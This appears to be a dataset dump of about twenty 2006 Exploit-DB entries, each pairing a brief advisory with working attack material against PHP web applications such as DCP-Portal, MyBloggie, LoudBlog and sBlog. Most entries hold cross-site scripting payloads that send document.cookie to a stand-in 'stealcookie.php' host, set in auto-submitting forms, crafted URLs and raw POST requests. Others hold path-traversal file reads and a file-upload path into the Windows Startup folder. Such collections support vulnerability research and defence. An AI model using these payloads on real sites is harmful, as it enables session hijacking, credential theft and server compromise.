QLWD/code_shield huggingface dataset:
标题: DCP-Portal 3.7/4.x/5.x/6.x - 'forums.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27392 CVE: 2006-1120 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/17050/info
  
DCP Portal is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

<form action='http://www.example.com/dcp-portal611/forums.php?action=board&bid=1' method="post">
<input type="text" name="bid" value='"></a><script>document.location="http://www.example.com/stealcookie.php?"+document.cookie</script>' />
<input type="submit">
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>

http://www.example.com/dcp-portal611/forums.php?action=board&bid="><script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script>
http://www.example.com/dcp-portal611/forums.php?action=addtopic&bid=1&replying_msg=<script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script> 

<form action='http://www.example.com/dcp-portal611/forums.php?action=addtopic&bid=1' method="post">
<input type="text" name="subject" value='"><script>document.location="http://www.example.com/stealcookie.php?"+document.cookie</script>' />
<input type="submit">
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>

<form action='http://www.example.com/dcp-portal611/forums.php?action=addtopic&bid=1' method="post">
<input type="text" name="body" value='">&lt;/textarea&gt;<script>document.location="http://www.example.com/stealcookie.php?"+document.cookie</script>' />
<input type="submit">
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>

http://www.example.com/dcp-portal611/forums.php?action=addtopic&bid=1&mid="><script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script>

<form action='http://www.example.com/dcp-portal611/forums.php?action=savemsg' method="post">
<input type="text" name="bid" value='"><script>document.location="http://www.example.com/stealcookie.php?"+document.cookie</script>' />
<input type="submit">
</form>
<script type="text/javascript">
document.forms[0].submit();
</script> URL: https://www.exploit-db.com/exploits/27392
标题: DCP-Portal 3.7/4.x/5.x/6.x - 'calendar.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27391 CVE: 2006-1120 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/17050/info
 
DCP Portal is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/dcp-portal611/calendar.php?subject_color="><script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script>
http://www.example.com/dcp-portal611/calendar.php?images="><script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script>
http://www.example.com/dcp-portal611/calendar.php?day=<script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script> 

<form action='http://www.example.com/dcp-portal611/calendar.php?show=full_month&month=02&day="><script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script>' method="post">
<input type="text" name="year" value='2006' />
<input type="submit">
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>

http://www.example.com/dcp-portal611/calendar.php?year=<script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script> URL: https://www.exploit-db.com/exploits/27391
标题: DCP-Portal 3.7/4.x/5.x/6.x - 'inbox.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27393 CVE: 2006-1120 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/17050/info
   
DCP Portal is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
   
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

<form action='http://www.example.com/dcp-portal611/inbox.php?action=send' method="post">
<input type="text" name="subject" value='"><script>document.location="http://www.example.com/stealcookie.php?"+document.cookie</script>' />
<input type="text" name="message" value='' />
<input type="submit">
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>

<form action='http://www.example.com/dcp-portal611/inbox.php?action=send' method="post">
<input type="text" name="message" value='">&lt;/textarea&gt;<script>document.location="http://www.example.com/stealcookie.php?"+document.cookie</script>' />
<input type="text" name="subject" value='' />
<input type="submit">
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>

<form action='http://www.example.com/dcp-portal611/inbox.php?action=delete&subject="><script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script>' method="post">
<input type="submit" name="submit" value='Reply'>
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>

<form action='http://www.example.com/dcp-portal611/inbox.php?action=delete&message=">&lt;/textarea&gt;<script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script>' method="post">
<input type="submit" name="submit" value='Reply'>
</form>
<script type="text/javascript">
document.forms[0].submit();
</script> URL: https://www.exploit-db.com/exploits/27393
标题: DCP-Portal 3.7/4.x/5.x/6.x - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27390 CVE: 2006-1120 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/17050/info

DCP Portal is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/dcp-portal611/index.php?page=documents&dl=xyz&its_url=xyz.html"><script type="text/javascript">document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script>
http://www.example.com/dcp-portal611/index.php?page=send_write&url=xyz.html"><script type="text/javascript">document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script> URL: https://www.exploit-db.com/exploits/27390
标题: MyBloggie 2.1.2/2.1.3 - 'del.php' Cross-Site Scripting EDB-ID: 27389 CVE: 2006-1205 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/17048/info
         
MyBloggie is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
         
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/mybloggie213beta/admin.php?mode=del&post_id="><script>alert('xss_string')</script> URL: https://www.exploit-db.com/exploits/27389
标题: MyBloggie 2.1.2/2.1.3 - 'delcat.php' Cross-Site Scripting EDB-ID: 27388 CVE: 2006-1205 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/17048/info
        
MyBloggie is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
        
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/mybloggie213beta/admin.php?mode=delcat&cat_id="><script>alert('xss_string')</script> URL: https://www.exploit-db.com/exploits/27388
标题: MyBloggie 2.1.2/2.1.3 - 'trackback_url' Cross-Site Scripting EDB-ID: 27387 CVE: 2006-1205 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/17048/info
       
MyBloggie is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
       
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

<form action="http://www.example.com/mybloggie213beta/admin.php?mode=add" method="post">
<input type="text" name="submit" value='xyz' />
<input type="text" name="message" value='xyz' />
<input type="text" name="trackback_url" value='<script>alert("xss_string")</script>' />
<input type="submit">
</form>
<script type="text/javascript">
document.forms[0].submit();
</script> URL: https://www.exploit-db.com/exploits/27387
标题: DCP-Portal 3.7/4.x/5.x/6.x - 'lostpassword.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27394 CVE: 2006-1120 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/17050/info
    
DCP Portal is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
    
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/dcp-portal611/lostpassword.php?subject_color="><script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script>
http://www.example.com/dcp-portal611/lostpassword.php?email="><script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script> URL: https://www.exploit-db.com/exploits/27394
标题: MyBloggie 2.1.2/2.1.3 - 'addcat.php' Cross-Site Scripting EDB-ID: 27383 CVE: 2006-1205 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/17048/info
   
MyBloggie is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
   
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

<form action="http://www.example.com/mybloggie213beta/admin.php?mode=addcat&errormsg=<script>alert('xss_string')</script>" method="post">
<input type="text" name="cat_desc" value='' />
<input type="submit"/>
</form>
<script type="text/javascript">
document.forms[0].submit();
</script> URL: https://www.exploit-db.com/exploits/27383
标题: MyBloggie 2.1.2/2.1.3 - 'deluser.php' Cross-Site Scripting EDB-ID: 27382 CVE: 2006-1205 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/17048/info
  
MyBloggie is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/mybloggie213beta/admin.php?mode=deluser&id="><script>alert('xss_string')</script> URL: https://www.exploit-db.com/exploits/27382
标题: DCP-Portal 3.7/4.x/5.x/6.x - 'mycontents.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27395 CVE: 2006-1120 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/17050/info
     
DCP Portal is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
     
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/dcp-portal611/mycontents.php?action=content&c_name="><script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script>
http://www.example.com/dcp-portal611/mycontents.php?action=content&content_inicial=&lt;/textarea&gt;<script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script> 
http://www.example.com/dcp-portal611/mycontents.php?action=content&c_name="><script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script> 
http://www.example.com/dcp-portal611/mycontents.php?action=addnews&c_name="><script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script>
http://www.example.com/dcp-portal611/mycontents.php?action=addnews&content_inicial=&lt;/textarea&gt;<script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script> 
http://www.example.com/dcp-portal611/mycontents.php?action=addnews&mode=write&dcp_editor_contingut_html=xyz&c_name=<script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script>&c_image_name=
http://www.example.com/dcp-portal611/mycontents.php?action=addanns&c_name="><script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script>
http://www.example.com/dcp-portal611/mycontents.php?action=updatecontent&cid="><script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script> 
http://www.example.com/dcp-portal611/mycontents.php?action=updatecontent&cid=1&mode=write&c_image_name=xyz&c_name="><script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script> URL: https://www.exploit-db.com/exploits/27395
标题: MyBloggie 2.1.2/2.1.3 - 'editcat.php' Cross-Site Scripting EDB-ID: 27386 CVE: 2006-1205 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/17048/info
      
MyBloggie is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
      
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

<form action="http://www.example.com/mybloggie213beta/admin.php?mode=editcat&errormsg=<script>alert('xss_string')</script>" method="post">
<input type="text" name="cat_desc" value='' />
<input type="submit"/>
</form>
<script type="text/javascript">
document.forms[0].submit();
</script> URL: https://www.exploit-db.com/exploits/27386
标题: MyBloggie 2.1.2/2.1.3 - 'adduser.php' Cross-Site Scripting EDB-ID: 27385 CVE: 2006-1205 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/17048/info
     
MyBloggie is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
     
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

<form action="http://www.example.com/mybloggie213beta/admin.php?mode=adduser&errormsg=<script>alert('xss_string')</script>" method="post">
<input type="text" name="password" value='' />
<input type="text" name="repassword" value='' />
<input type="text" name="user" value='x' />
<input type="submit"/>
</form>
<script type="text/javascript">
document.forms[0].submit();
</script> URL: https://www.exploit-db.com/exploits/27385
标题: Easy File Sharing Web Server 3.2 - Full Path Request Arbitrary File Upload EDB-ID: 27378 CVE: 2006-1161 类型: REMOTE 平台: WINDOWS 发布日期: 2006-03-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/17046/info
 
Easy File Sharing Web Server is prone to multiple input-validation vulnerabilities. The application fails to properly sanitize user-supplied input before using it in dynamically generated content. 
 
The issues include HTML-injection, denial-of-service, and arbitrary file-upload vulnerabilities.
 
An attacker can exploit these issues to steal cookie-based authentication credentials, control how the site is rendered to the user, cause the application to crash, and facilitate a compromise of the underlying computer.

http://www.example.com/disk_c/Documents%20and%20Settings/All%20Users/Start%20Menu/Programs/Startup URL: https://www.exploit-db.com/exploits/27378
标题: HitHost 1.0 - 'deleteuser.php?user' Cross-Site Scripting EDB-ID: 27371 CVE: 2006-1144 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/17025/info

HitHost is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/admin/deleteuser.php?user=<script%20src=http://www.example.com/xss.js></script> URL: https://www.exploit-db.com/exploits/27371
标题: LoudBlog 0.41 - 'index.php?template' Traversal Arbitrary File Access EDB-ID: 27369 CVE: 2006-1114 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/17023/info
 
Loudblog is prone to multiple input-validation vulnerabilities:
 
- An SQL-injection vulnerability.
- Two local file-include vulnerabilities.
- An information-disclosure vulnerability.
 
These issues allow remote attackers to execute arbitrary PHP script code in the context of the hosting webserver, gain administrative privileges in the web application, and gain access to potentially sensitive information.
 
The SQL-injection vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in the modification of query logic or other attacks. Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
 
Other attacks may also be possible.
 
Loudblog version 0.41 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/loudblog/index.php?template=../../../loudblog/custom/config.php%00
http://www.example.com/loudblog/loudblog/index.php?page=/../../../audio/cmdphp.mp3%00 URL: https://www.exploit-db.com/exploits/27369
标题: ADP Forum 2.0.x - 'Subject' HTML Injection EDB-ID: 27379 CVE: 2006-1157 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/17047/info

ADP Forum is prone to an HTML-injection vulnerability. The application fails to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

This issue is reported to affect versions 2.0.3 and prior.

Subject :<script>location.href="http://evilsite.com/deface.html";</script> URL: https://www.exploit-db.com/exploits/27379
标题: Link Bank - 'Iframe.php' Cross-Site Scripting EDB-ID: 27367 CVE: 2006-1199 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/17001/info

Link Bank is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before including it in dynamically generated HTML content.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/iframe.php?site=%3C/title%3E%3C/head%3E%3Cscript%20src=http://www.example.com/xss.js%3E%3C/script%3E URL: https://www.exploit-db.com/exploits/27367
标题: sBlog 0.7.2 - 'search.php?keyword' POST Method Cross-Site Scripting EDB-ID: 27374 CVE: 2006-1135 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/17044/info

sBlog is prone to HTML-injection vulnerabilities. The application fails to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing for the theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

POST /search.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.12) Gecko/20050919 Firefox/1.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it,it-it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.example.com/search.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
keyword=%3Cscript%3Ealert%28%22lol%22%29%3B%3C%2Fscript%3E
[....] URL: https://www.exploit-db.com/exploits/27374
标题: sBlog 0.7.2 - 'comments_do.php' Multiple POST Cross-Site Scripting Vulnerabilities EDB-ID: 27375 CVE: 2006-1135 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/17044/info
 
sBlog is prone to HTML-injection vulnerabilities. The application fails to properly sanitize user-supplied input before using it in dynamically generated content. 
 
Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing for the theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

POST /comments_do.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.12) Gecko/20050919 Firefox/1.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it,it-it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.example.com/comments.php?id=news_id
Content-Type: application/x-www-form-urlencoded
Content-Length: 99
blog_id=3&username=%3Cscript%3Ealert%28%22XSS%22%29%3B%3C%2Fscript%3E&email=&homepage=&comment=test
[....] URL: https://www.exploit-db.com/exploits/27375